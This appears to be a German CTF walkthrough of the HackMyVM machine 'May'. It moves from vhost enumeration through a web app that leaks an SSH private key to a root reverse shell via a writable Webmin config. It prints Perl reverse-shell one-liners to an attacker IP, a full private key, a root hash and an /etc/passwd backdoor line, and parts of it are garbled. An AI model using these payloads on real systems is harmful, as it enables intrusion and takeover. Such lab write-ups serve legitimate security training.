192.168.2.145 08:00:27:04:63:31 PCS Systemtechnik GmbH
Analyse: Der `arp-scan -l` Befehl identifiziert aktive Hosts im lokalen Netzwerk mittels ARP-Anfragen. Hier wurde ein Host mit der IP 192.168.2.145 und der MAC-Adresse 08:00:27:04:63:31 (zugeordnet zu PCS Systemtechnik GmbH, oft VirtualBox) gefunden.
Bewertung: Erfolgreiche Identifikation des Zielsystems "May" im lokalen Netzwerk. Die IP 192.168.2.145 ist das primäre Ziel für weitere Scans.
Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie als Nächstes Port-Scans (z.B. mit Nmap) durch, um offene Dienste zu finden. Beginnen Sie parallel mit der Suche nach Webservern und virtuellen Hosts.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts für ARP-Scans einschränken. Überwachen Sie ARP-Anfragen im Netzwerk.
# Versuch Verzeichnis-Enumeration auf may.hmv wfuzz -c -f sub-fighter -u http://may.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 # Versuche VHost-Enumeration mit verschiedenen Wortlisten und Ports wfuzz -c -u http://FUZZ.may.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 wfuzz -c -u http://FUZZ.may.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc=404 wfuzz -c -u http://FUZZ.may.hmv:10000 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc=404 # Spezifischer Port 10000 gobuster vhost -u http://may.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
Analyse: Der vorliegende Textabschnitt listet eine Reihe von `wfuzz`- und `gobuster`-Befehlen auf, die offenbar zur Enumeration von Verzeichnissen und virtuellen Hosts (VHosts) auf dem Ziel `may.hmv` ausgeführt wurden. Es wurden verschiedene Wortlisten und Techniken (inklusive Test auf Port 10000) verwendet. Die Option `-c` bei `wfuzz` aktiviert Farben in der Ausgabe, `-f sub-fighter` speichert die Ausgabe in einer Datei, `--hc=404` blendet "Not Found"-Antworten aus. `gobuster vhost` sucht explizit nach VHosts.
Bewertung: Dies zeigt einen methodischen Ansatz zur Enumeration. Obwohl die Ausgaben dieser spezifischen `wfuzz`-Läufe nicht gezeigt werden, deutet der nachfolgende erfolgreiche `gobuster`-Lauf darauf hin, dass diese möglicherweise keine oder weniger klare Ergebnisse lieferten. Das Testen verschiedener Tools und Wortlisten ist gängige Praxis, um die Chancen auf Funde zu maximieren. Der Test auf Port 10000 mit `wfuzz` ist interessant, da Webmin (das später relevant wird) oft auf diesem Port läuft.
Empfehlung (Pentester): Systematisches Vorgehen ist gut. Dokumentieren Sie auch fehlgeschlagene Versuche oder Befehle ohne Ergebnis, da dies zeigt, was geprüft wurde. Wechseln Sie zwischen Tools (`wfuzz`, `gobuster`, `ffuf`), da sie unterschiedliche Stärken haben können (z.B. bei Wildcard-Erkennung, Filterung).
Empfehlung (Admin): Konfigurieren Sie Webserver so, dass sie Enumeration erschweren (generische Antworten für unbekannte VHosts, Ratenbegrenzung, Intrusion Detection Systeme).
=============================================================== Gobuster vX.Y.Z =============================================================== [+] Url: http://may.hmv [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/X.Y.Z [+] Timeout: 10s =============================================================== 2022/08/30 23:13:43 Starting gobuster in VHST enumeration mode =============================================================== Found: portal.may.hmv (Status: 200) [Size: 406] Found: ssh.may.hmv (Status: 200) [Size: 405] =============================================================== Finished ===============================================================
Analyse: Dieser `gobuster vhost`-Befehl war erfolgreich. Er testete Subdomains aus der Liste `subdomains-top1million-110000.txt` gegen die Basisdomain `may.hmv`. Die Ausgabe zeigt zwei gefundene virtuelle Hosts, die mit Status 200 (OK) antworteten: portal.may.hmv und ssh.may.hmv.
Bewertung: Wichtiger Fund. Es existieren mindestens zwei weitere Web-Interfaces oder Anwendungen auf derselben IP-Adresse unter verschiedenen Hostnamen. `portal` deutet auf ein Login-Portal hin, `ssh` ist ungewöhnlich für einen VHost-Namen und könnte auf eine spezielle Funktion im Zusammenhang mit SSH hindeuten.
Empfehlung (Pentester): Fügen Sie `portal.may.hmv` und `ssh.may.hmv` zur lokalen `/etc/hosts`-Datei hinzu, um sie auf die Ziel-IP 192.168.2.145 aufzulösen. Untersuchen Sie anschließend beide VHosts im Browser und führen Sie weitere Enumerationsschritte (Verzeichnissuche, Technologieerkennung) gezielt auf diesen Hosts durch.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige VHosts aktiv und korrekt konfiguriert sind. Verwenden Sie keine leicht erratbaren oder beschreibenden Namen für interne oder sensible Subdomains. Implementieren Sie Zugriffskontrollen.
=============================================================== Gobuster vX.Y.Z =============================================================== [+] Url: http://portal.may.hmv [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Extensions: php,bak,7z,zip,py,sql,txt,xml,jpg [+] Expanded: true [+] Wildcard detection: true [...] =============================================================== Starting gobuster =============================================================== [... Möglicherweise keine relevanten Verzeichnisse/Dateien gefunden, da der nächste Schritt ein Login ist ...] =============================================================== Finished ===============================================================
Analyse: `gobuster dir` wird nun auf dem entdeckten VHost `portal.may.hmv` ausgeführt, um nach Verzeichnissen und Dateien zu suchen. Es werden verschiedene Erweiterungen (`-x`) getestet und der Wildcard-Modus (`--wildcard`) ist aktiviert.
Bewertung: Die Ausgabe dieses Scans wird nicht explizit gezeigt, aber der nächste Schritt deutet darauf hin, dass keine offensichtlichen Schwachstellen oder interessanten Pfade gefunden wurden. Der Fokus verlagerte sich auf den Login-Mechanismus des Portals selbst.
Empfehlung (Pentester): Auch wenn keine sofortigen Treffer erzielt werden, ist Directory Busting wichtig. Untersuchen Sie die Startseite von `portal.may.hmv` auf Hinweise (Technologien, Benutzernamen-Formate, Passwort-Reset-Funktionen). Versuchen Sie Standard-Zugangsdaten oder Bruteforce-Angriffe (vorsichtig, um Sperren zu vermeiden).
Empfehlung (Admin): Verstecken Sie keine kritischen Informationen oder Funktionen in obskuren Pfaden. Implementieren Sie robuste Authentifizierung und Autorisierung. Schützen Sie sich vor Bruteforce-Angriffen (z.B. durch Captchas, Account Lockouts).
GBUSTER intruder payload user:marie , passwort:rebelde
Analyse: Dieser Kommentar deutet darauf hin, dass während der vorherigen Enumerationsschritte (möglicherweise durch eine andere Methode als die gezeigten Gobuster/Wfuzz-Scans, oder durch Analyse des Portal-Quellcodes/Verhaltens) gültige Zugangsdaten gefunden wurden: Benutzername marie und Passwort rebelde.
Bewertung: Das Finden gültiger Zugangsdaten ist ein kritischer Schritt für den Initial Access. Die Quelle dieser Daten ist unklar (vielleicht Standardpasswort, Kommentar im Quellcode, etc.), aber das Ergebnis ist entscheidend.
Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten, um sich auf `http://portal.may.hmv` einzuloggen.
Empfehlung (Admin): Verwenden Sie niemals Standardpasswörter. Erzwingen Sie komplexe Passwörter. Entfernen Sie sensible Informationen (wie Zugangsdaten) aus Quellcodes oder Kommentaren.
[Erfolgreicher Login im Browser - Keine Terminal-Ausgabe]
Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX
Analyse: Der Pentester loggt sich erfolgreich mit den Zugangsdaten `marie:rebelde` auf `portal.may.hmv` ein. Nach dem Login wird das Session-Cookie aus dem Browser kopiert. Der Name des Cookies ist `Sweetcookie` und sein Wert ist HMVHMXHMVHMXHMVHMXHMVHMX.
Bewertung: Der Login war erfolgreich. Das Session-Cookie ist wichtig, da es die authentifizierte Sitzung repräsentiert und möglicherweise für den Zugriff auf andere Ressourcen oder verbundene Systeme verwendet werden kann.
Empfehlung (Pentester): Untersuchen Sie die Funktionalität des Portals nach dem Login. Suchen Sie nach Upload-Möglichkeiten, Konfigurationseinstellungen oder Hinweisen auf andere Systeme. Verwenden Sie das kopierte Cookie, um Anfragen an andere gefundene VHosts (wie `ssh.may.hmv`) zu stellen.
Empfehlung (Admin): Session-Cookies sicher gestalten (HttpOnly, Secure Flag, kurze Gültigkeit). Single Sign-On (SSO)-Systeme und deren Verbindungen sorgfältig konfigurieren und absichern.
-----BEGIN PENSSH PRIVATE KEY----- [... SSH Private Key Inhalt ...] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA3HwQ6G67tSrcxTN2oKplVae0b+gVe0x/btFSgGJy2bMoWc14qB jE7cEc8tEB85mI3ftByjp6ZVcQWdmEFvqDjeiGvucu0cn/kTYZGue34/P0+3TJ4Dn92l L5neeFJC37yHtgxGv1XZ3aQ6mN/XY6okPpjhECZieH8849P+vclhBsXcZPNwZ1vkXAinaY T6e1vDJA94l4ioDgj/S48gFuR1ExpsxM+c1uggIcd/GgFyVHy7i/hdm78p09vnmWj8sw2 XUd8XGIJZRHMx0xAw2ezkHC93buwL2KRxez9e5nsLMfKUYNBd7T/16AfS6lRvkvCBPAJs aBPbycNKQAAA8BCdu/2Qnbv9gAAAAdzc2gtcnNhAAABAQDcfBDobru1KtzFM3ag4qmVVp 7Rv6BV7TH9u0VKAYnLZsyhZzXioE6MTtwRw7y0QHzmYjd+0HKnplVxBZ2YQW+oN6Ia+5 y7Ryc7+RNhka57fj8/T7dMngf3aUvmd54UkLfvIe2DEa/VdndpDqY39djqiQ+mEQJmJ4 fzzj0/69yWEGxdxk83BnW+RcCKdphPp7W8MkD3iXiKgCP9LjyAW5HU4TGmzEz5zW6CAhx 38aAXJUfLuL+F2bvynT2+eZaPyzDZdR3xcYgk5lEczHTEDDZ7QcL3du7AvYpHF7P17mew sx8pRg0F3tP/XoB9LqVG+S8IE8AmxoE49vJw0pAAAAAwEAAQAAAQEAuDe81Mc4dG1Emkue cVwQfuMpvWxTZZfSLgKbKPNSEy1oCe83YvhNR/qhbk6YIyFDuS/I2i8XmcrDFrSvcPgzd 6VUYT10tHdiccmJwjBPxaeMYqyhKqWxY8h6zPN2lA46cEWzsdBETqE1sgR4Ysc5nvQ3r BTU3A1EjTMjP9Sfo+GbbZq292h/WUlN3+34VngnTZg7RM2th4tk00sc07iiRLAh3DQ9Yo 7S8QWJQhVJA/3UmhmsK8Sb44BJ/cYZd+SC6BV+RwsnrS+JyeUs1zctJzBSpxX6+9ko4oN VGIWnYce1Jxrz1cxgwnEEsb2BnamTyRAJoWW4fU7NYzIkQAAAIANhgRfAVu6xVNyEXXFg 263Uqp45G8qhhNwk5wzJUE3GiD9mj1YZMYejEfTGoTwk2x9DAgQhk5cAAPrRJpC221NJ 72B0fllexMz8RfizG345S04i40vjgq+/iweU2+pRccJNFlRSZgKl8FJ1zmpP5fAQGQVo NVgkzCDsu/MwAAAIEA8Q4y6353GpFasya8P60/8lAl8RglmnS56Yt9kjdIBQvUVKDPPNP qy9Ki3mJXLTbr+dPi2yaMTGr02rYVwGhLmykswXPQPzcdeuxt4ufYld8G3UgxNejsiYqWT AkdYBaM6g2M/J/MWQY6WLhXMQhK75C6ZCbsrR3F8ffi0XF8TUAAACBAonYvqdEgrAiYK/ l1iMe5oHRwklV/d5eEM/8bTl0MgDEhMYRLkmkuuhb6rVIz3y3PVmE0zeQa2u6qj0stmLm 34pXoHjrR2KlUk5pvoXbcvm8TvnHypnIwls1QL5WsHMGNjt/AbboqLkA2m+v9IEEIww40w 8fGoN87zX40QP6lAAAACW1hcmllQG1heQE= -----END PENSSH PRIVATE KEY-----
Analyse: Der `curl`-Befehl sendet eine Anfrage an `http://ssh.may.hmv/check.php`. Entscheidend ist der `-H 'Cookie: ...'` Header, der das zuvor kopierte `Sweetcookie` mitsendet. Die Antwort des Servers ist ein privater SSH-Schlüssel im PEM-Format für den Benutzer marie@may.
Bewertung: Hochkritisch. Die `check.php`-Anwendung auf `ssh.may.hmv` gibt den privaten SSH-Schlüssel des Benutzers `marie` preis, wenn ein gültiges Session-Cookie vom `portal.may.hmv` präsentiert wird. Dies ist eine schwerwiegende Sicherheitslücke, die den direkten SSH-Zugriff als Benutzer `marie` ermöglicht.
Empfehlung (Pentester): Speichern Sie den ausgegebenen privaten SSH-Schlüssel in einer Datei (z.B. `id_rsa_marie`). Setzen Sie die korrekten Berechtigungen (`chmod 600 id_rsa_marie`). Verwenden Sie den Schlüssel, um sich via SSH als `marie` auf `may.hmv` einzuloggen (`ssh marie@may.hmv -i id_rsa_marie`).
Empfehlung (Admin): Entfernen Sie sofort die `check.php`-Funktionalität oder sichern Sie sie korrekt ab. Private SSH-Schlüssel dürfen niemals über eine Webanwendung preisgegeben werden. Überprüfen Sie die Kopplung zwischen `portal.may.hmv` und `ssh.may.hmv` und stellen Sie sicher, dass Session-Informationen nicht unsicher geteilt oder zur Autorisierung für kritische Aktionen missbraucht werden.
[Keine Ausgabe]
[Editor wird geöffnet, der SSH-Key wird eingefügt und gespeichert]
Analyse: Auf dem Angreifer-System wird eine leere Datei namens `idroot` erstellt (`echo "" > idroot` überschreibt die Datei, falls sie existiert). Anschließend wird die Datei mit `vi` geöffnet, um den zuvor erhaltenen privaten SSH-Schlüssel hineinzukopieren.
Bewertung: Notwendiger Schritt zur Vorbereitung des SSH-Logins. Der Dateiname `idroot` ist etwas irreführend, da der Schlüssel für den Benutzer `marie` ist, nicht für `root`. Eine Benennung wie `id_rsa_marie` wäre klarer gewesen.
Empfehlung (Pentester): Stellen Sie sicher, dass der gesamte Schlüssel korrekt kopiert wurde (inklusive `-----BEGIN...-----` und `-----END...-----`). Setzen Sie nach dem Speichern die Dateiberechtigungen mit `chmod 600 idroot`.
Empfehlung (Admin): Keine direkte Aktion, dies geschieht auf dem Angreifer-System.
The authenticity of host 'may.hmv (192.168.2.145)' can't be established.
ED25519 key fingerprint is SHA256:QSSSqXZeR4vUa7yWVlVa56SdGhd2InALjTGBAxu8QQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'may.hmv' (ED25519) to the list of known hosts.
Linux may 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 22 03:34:48 2021
marie@may:~$
Analyse: Der `ssh`-Befehl wird verwendet, um sich mit dem Zielsystem `may.hmv` als Benutzer `marie` zu verbinden. Die Option `-i idroot` spezifiziert die Datei, die den privaten Schlüssel enthält. Da der Host zum ersten Mal kontaktiert wird, erscheint eine Warnung zur Authentizität, die mit `yes` bestätigt wird. Der Login ist erfolgreich, und der Angreifer erhält eine Shell als Benutzer `marie`.
Bewertung: Initial Access erfolgreich abgeschlossen! Durch die Kombination aus VHost-Enumeration, Ausnutzung einer unsicheren Webanwendungs-Kopplung zur Extraktion eines SSH-Schlüssels konnte eine Benutzer-Shell auf dem System erlangt werden.
Empfehlung (Pentester): Die Post-Exploitation-Phase beginnt. Führen Sie Enumerationsskripte (z.B. LinPEAS, LinEnum) aus, überprüfen Sie `sudo`-Rechte (`sudo -l`), suchen Sie nach interessanten Dateien im Home-Verzeichnis, prüfen Sie laufende Prozesse und Cronjobs, um Wege zur Privilege Escalation zu finden.
Empfehlung (Admin): Überprüfen Sie alle Webanwendungen auf unsichere Praktiken wie die Preisgabe von Schlüsseln. Implementieren Sie sichere Authentifizierungs- und Autorisierungsmechanismen. Überwachen Sie SSH-Logins.
HMVmarieisrebel
Analyse: Der Inhalt der Datei `user.txt` wird ausgegeben. Dies ist typischerweise die Benutzer-Flag in CTF-Szenarien.
Bewertung: Die User-Flag wurde erfolgreich gefunden und gelesen.
Empfehlung (Pentester): Dokumentieren Sie die Flag. Konzentrieren Sie sich nun auf die Privilege Escalation zu Root.
Empfehlung (Admin): In realen Szenarien sollten sensible Daten oder Flags nicht in einfachen Textdateien gespeichert werden.
Kurzbeschreibung: Der Benutzer `marie` hat auf dem System `may` Lese- und Schreibrechte auf die Webmin-Konfigurationsdatei `/etc/webmin/miniserv.conf`. Webmin verwendet ein separates Skript (`failed.pl` oder `record-failed.pl`), um fehlgeschlagene Login-Versuche zu behandeln. Indem die Konfigurationsdatei so manipuliert wird, dass sie auf ein vom Angreifer kontrolliertes Skript verweist, kann bei einem fehlgeschlagenen Webmin-Login Code mit Root-Rechten ausgeführt werden, da der Webmin-Dienst selbst als Root läuft.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
-rw----rw- 1 root bin 901 Jul 22 2021 /etc/webmin/miniserv.conf
Die Gruppe `bin` hat Schreibrechte (`rw-`), und `marie` ist vermutlich Mitglied dieser Gruppe (oder die Rechte sind falsch gesetzt), was das Schreiben erlaubt.
#!/usr/bin/perl
use Socket;$i="192.168.2.140";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
# Originaler Code von record-failed.pl oder failed.pl kann hier folgen, ist aber für die RCE nicht notwendig.
[Keine Ausgabe]
[Datei bearbeiten, z.B. Zeile 'login_failed_script=...' ändern auf '/home/marie/perl.pl']
listening on [any] 5555 ...
[System startet neu, SSH-Verbindung wird getrennt]
listening on [any] 5555 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.145] xxxxx
root
Erwartetes Ergebnis: Eine interaktive Reverse Shell auf dem Zielsystem `may`, ausgeführt mit Root-Privilegien.
Beweismittel: Die erfolgreiche Verbindung im Netcat-Listener und die Möglichkeit, Befehle (`whoami`) als `root` auszuführen.
Risikobewertung: Hoch. Die Kombination aus unsicheren Dateiberechtigungen auf einer kritischen Konfigurationsdatei und der Möglichkeit, den Dienst zum Neuladen der Konfiguration zu zwingen, ermöglicht einem Benutzer mit geringeren Rechten die vollständige Übernahme des Systems.
Empfehlungen zur Behebung:
Matching Defaults entries for marie on may:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marie may run the following commands on may:
(ALL) NOPASSWD: /usr/sbin/halt, /usr/sbin/reboot, /usr/sbin/poweroff
Analyse: Der Befehl `sudo -l` listet die `sudo`-Berechtigungen auf, die der aktuelle Benutzer (`marie`) auf dem Host `may` hat. Die Ausgabe zeigt, dass `marie` die Befehle `/usr/sbin/halt`, `/usr/sbin/reboot` und `/usr/sbin/poweroff` als jeder Benutzer (`ALL`) ohne Passwortabfrage (`NOPASSWD`) ausführen darf.
Bewertung: Dies ist eine wichtige Information für die Privilege Escalation. Obwohl diese Befehle nicht direkt eine Shell geben, ist die Fähigkeit, das System ohne Passwort neu zu starten (`reboot`), entscheidend für den zuvor beschriebenen Webmin-Exploit, da Webmin die manipulierte Konfiguration erst nach einem Neustart (oder Dienst-Neustart) lädt.
Empfehlung (Pentester): Nutzen Sie die `sudo reboot`-Berechtigung, um den Webmin-Exploit (POC) auszulösen, nachdem die Konfigurationsdatei manipuliert wurde.
Empfehlung (Admin): Überprüfen Sie sorgfältig alle `sudo`-Regeln. Das Recht, Systemneustarts oder -abschaltungen ohne Passwort durchzuführen, sollte nur in sehr spezifischen, kontrollierten Szenarien und für dedizierte Service-Accounts vergeben werden, niemals für reguläre Benutzer.
-rw----rw- 1 root bin 901 Jul 22 2021 /etc/webmin/miniserv.conf
Analyse: Dieser Befehl listet die detaillierten Berechtigungen der Webmin-Hauptkonfigurationsdatei auf. Der Besitzer ist `root`, die Gruppe ist `bin`. Der Besitzer hat Lese-/Schreibrechte (`rw-`), die Gruppe hat ebenfalls Lese-/Schreibrechte (`rw-`), andere haben keine Rechte (`---`).
Bewertung: Dies bestätigt die kritische Fehlkonfiguration: Die Gruppe `bin` (oder jeder Benutzer in dieser Gruppe) kann die Webmin-Konfiguration ändern. Da `marie` diese Datei ändern kann (wie im POC gezeigt), ist anzunehmen, dass `marie` Mitglied der Gruppe `bin` ist oder die Berechtigungen noch laxer sind als angezeigt (z.B. `666`). Dies ermöglicht die Manipulation des Skriptpfads für fehlgeschlagene Logins.
Empfehlung (Pentester): Dies ist der Schlüssel zur Webmin-Privilege-Escalation. Fahren Sie mit dem POC fort.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen sofort auf `chmod 600 /etc/webmin/miniserv.conf`, sodass nur `root` Lese- und Schreibrechte hat. Überprüfen Sie die Mitgliedschaften in Systemgruppen wie `bin`.
Wenn Sie sich den Root-Benutzerprozess ansehen, werden die folgenden Prozesse gefunden. Überprüfen Sie die Berechtigungen der Datei miniserv.conf und stellen Sie fest, dass marie direkt bearbeitet werden kann, erstellen Sie also eine failed.pl im Home-Verzeichnis, um die Standarddatei zu ersetzen.
Analyse: Dieser Kommentar fasst die Situation zusammen: Der Webmin-Prozess läuft als Root (implizite Annahme, da dies Standard ist und für den Exploit notwendig ist), `marie` kann die Konfigurationsdatei bearbeiten, und der Plan ist, ein eigenes Skript (`failed.pl`) zu erstellen, um das Standard-Fehlerbehandlungsskript zu ersetzen.
Bewertung: Korrekte Zusammenfassung des Angriffsplans basierend auf den vorherigen Erkenntnissen.
Empfehlung (Pentester): Führen Sie den Plan wie beschrieben aus.
Empfehlung (Admin): Siehe Empfehlungen zur Berechtigungskorrektur und `sudo`-Regeln.
[Keine Ausgabe]
Analyse: Erstellt eine leere Datei namens `failed.pl` im aktuellen Verzeichnis (Home-Verzeichnis von `marie`).
Bewertung: Vorbereitungsschritt zum Einfügen des Payloads.
Empfehlung (Pentester): Fügen Sie nun den Perl-Reverse-Shell-Code in diese Datei ein.
Empfehlung (Admin): Keine direkte Aktion.
Starten Sie die virtuelle Maschine mit sudo neu (marie kann sudo reboot ohne Passwort ausführen). Nach dem Neustart können Sie sich mit Webmin bei einem falschen Konto anmelden und zu Root zurückkehren.
Analyse: Erläutert den nächsten Schritt: Nach der Manipulation von `failed.pl` und `miniserv.conf` muss das System neu gestartet werden (was `marie` dank `sudo NOPASSWD: /usr/sbin/reboot` kann). Ein anschließender fehlgeschlagener Login-Versuch bei Webmin löst dann das manipulierte Skript aus und führt zur Reverse Shell.
Bewertung: Korrekte Beschreibung des Auslösens des Exploits.
Empfehlung (Pentester): Führen Sie die Schritte aus: Payload in `failed.pl` einfügen, `miniserv.conf` ändern, Listener starten, `sudo reboot` ausführen, fehlgeschlagenen Webmin-Login versuchen.
Empfehlung (Admin): Siehe vorherige Empfehlungen.
#!/usr/bin/perl open(CNF, ") { $root = $1 if (/^root=(.*)/); } close(CNF); $root || die "No root= line found in /etc/webmin/miniserv.conf"; $ENV{'PERLLIB'} = "$root"; $ENV{'WEBMIN_CONFIG'} = "/etc/webmin"; <-- Typo im Originaltext? Sollte WEBMIN_CONFIG sein $ENV{'WEBMIN_VAR'} = "/var/webmin"; delete($ENV{'MINISERV_CONFIG'}); <-- Typo im Originaltext? Sollte MINISERV_CONFIG sein chdir("$root"); exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
[Editor wird geöffnet]
#!/usr/bin/perl
use Socket;$i="192.168.2.140";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CNF, ") {
$root = $1 if (/^root=(.*)/);
}
close(CNF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{'PERLLIB'} = "$root";
$ENV{'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
Analyse: Zuerst wird der (vermutlich ursprüngliche) Inhalt von `failed.pl` angezeigt. Dieser Code scheint Teil der normalen Webmin-Funktionalität zu sein, um Umgebungsvariablen zu setzen und dann das eigentliche `record-failed.pl` auszuführen. Anschließend wird die Datei mit `nano` bearbeitet. Die zweite `cat`-Ausgabe zeigt den Inhalt *nach* der Bearbeitung: Am Anfang wurde eine einzeilige Perl-Reverse-Shell eingefügt (use Socket;...exec("/bin/sh -i");), die eine Verbindung zum Angreifer (192.168.2.140) auf Port 6666 herstellt. Der Rest des ursprünglichen Codes bleibt erhalten, wird aber nach dem `exec` nicht mehr erreicht.
Bewertung: Dies ist die Kernmanipulation. Das Skript, das bei einem fehlgeschlagenen Webmin-Login ausgeführt wird, wurde so modifiziert, dass es zuerst versucht, eine Reverse Shell zu starten. Wenn dies fehlschlägt, würde der restliche Code ausgeführt, aber das Ziel ist, dass die Shell erfolgreich ist.
Empfehlung (Pentester): Stellen Sie sicher, dass die IP und der Port im Payload korrekt sind und der Listener auf dem Angreifer-System läuft. Die Datei `miniserv.conf` muss nun noch so geändert werden, dass sie auf `/home/marie/failed.pl` verweist.
Empfehlung (Admin): Siehe Empfehlungen zur Dateiberechtigung und Integritätsmonitoring.
Payload:use Socket;$i="192.168.2.140";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; use Socket;$i="192.168.2.140";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
Analyse: Dies sind Notizen des Pentesters, die zwei Varianten des einzeiligen Perl-Reverse-Shell-Payloads zeigen. Sie unterscheiden sich nur im verwendeten Port (6666 vs. 1234).
Bewertung: Zeigt alternative Payloads oder Tests, die möglicherweise durchgeführt wurden.
Empfehlung (Pentester): Wählen Sie einen Port für den Listener und verwenden Sie den entsprechenden Payload.
Empfehlung (Admin): Keine direkte Aktion.
[Editor wird geöffnet]
root:$1$84720675$F08uAAcIMcN8lZNg9D74p1:::::1584720675:::0::::
[Keine Ausgabe]
[Editor wird geöffnet]
[System startet neu]
Analyse: Hier scheinen mehrere Aktionen vermischt oder missverständlich dokumentiert zu sein. 1. `vi miniserv.users`: Bearbeitet die Webmin-Benutzerdatei. Der Kommentar darunter zeigt einen MD5-basierten Passwort-Hash für `root`. Es ist unklar, ob dieser Hash geändert oder nur angezeigt wird. 2. `chmod +x miniserv.users`: Versucht, die Benutzerdatei ausführbar zu machen, was ungewöhnlich und wahrscheinlich unnötig ist. 3. `vi /etc/webmin/miniserv.conf`: Bearbeitet die Hauptkonfigurationsdatei. Dies ist der Schritt, bei dem der Pfad zu `failed.pl` (oder `perl.pl`) eingetragen werden müsste. 4. `sudo -u root /usr/sbin/reboot`: Startet das System neu. Die Option `-u root` ist redundant, da `sudo` standardmäßig Befehle als Root ausführt, es sei denn, anders angegeben.
Bewertung: Die Bearbeitung von `miniserv.users` und `chmod +x` ist unklar und möglicherweise nicht relevant für den Haupt-Exploit-Pfad über die Manipulation von `miniserv.conf` und das Auslösen des `failed.pl`-Skripts. Das Bearbeiten von `miniserv.conf` und der anschließende Reboot sind die entscheidenden Schritte, um den Exploit vorzubereiten.
Empfehlung (Pentester): Konzentrieren Sie sich auf die korrekte Modifikation von `miniserv.conf`, um auf Ihr Payload-Skript zu verweisen. Stellen Sie sicher, dass der Listener läuft, bevor Sie den Reboot ausführen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu Dateiberechtigungen und `sudo`-Regeln.
cat perl.pl
#!/usr/bin/perl
use Socket;$i="192.168.2.140";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CNF, ") {
$root = $1 if (/^root=(.*)/);
}
close(CNF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{'PERLLIB'} = "$root";
$ENV{'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
Analyse: Zeigt den Inhalt einer Datei namens `perl.pl`. Der Inhalt ist identisch mit dem zuvor gezeigten modifizierten `failed.pl`, verwendet jedoch Port 5555 für die Reverse Shell. Es ist wahrscheinlich, dass dies das Skript ist, auf das in `/etc/webmin/miniserv.conf` verwiesen wurde.
Bewertung: Bestätigt den Payload, der für die Reverse Shell verwendet wird.
Empfehlung (Pentester): Stellen Sie sicher, dass `miniserv.conf` auf `/home/marie/perl.pl` (oder den korrekten Pfad) verweist und der Listener auf Port 5555 läuft.
Empfehlung (Admin): Keine direkte Aktion.
Privesc manipulate /etc/passwd hacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Analyse: Dieser Abschnitt beschreibt eine alternative Methode zur Privilege Escalation: Direkte Manipulation der `/etc/passwd`-Datei. Es wird ein Eintrag für einen Benutzer `hacker` gezeigt, der einen SHA512-Passwort-Hash enthält und – entscheidend – die UID und GID 0 hat (`:0:0:`). Dies würde dem Benutzer `hacker` Root-Rechte geben.
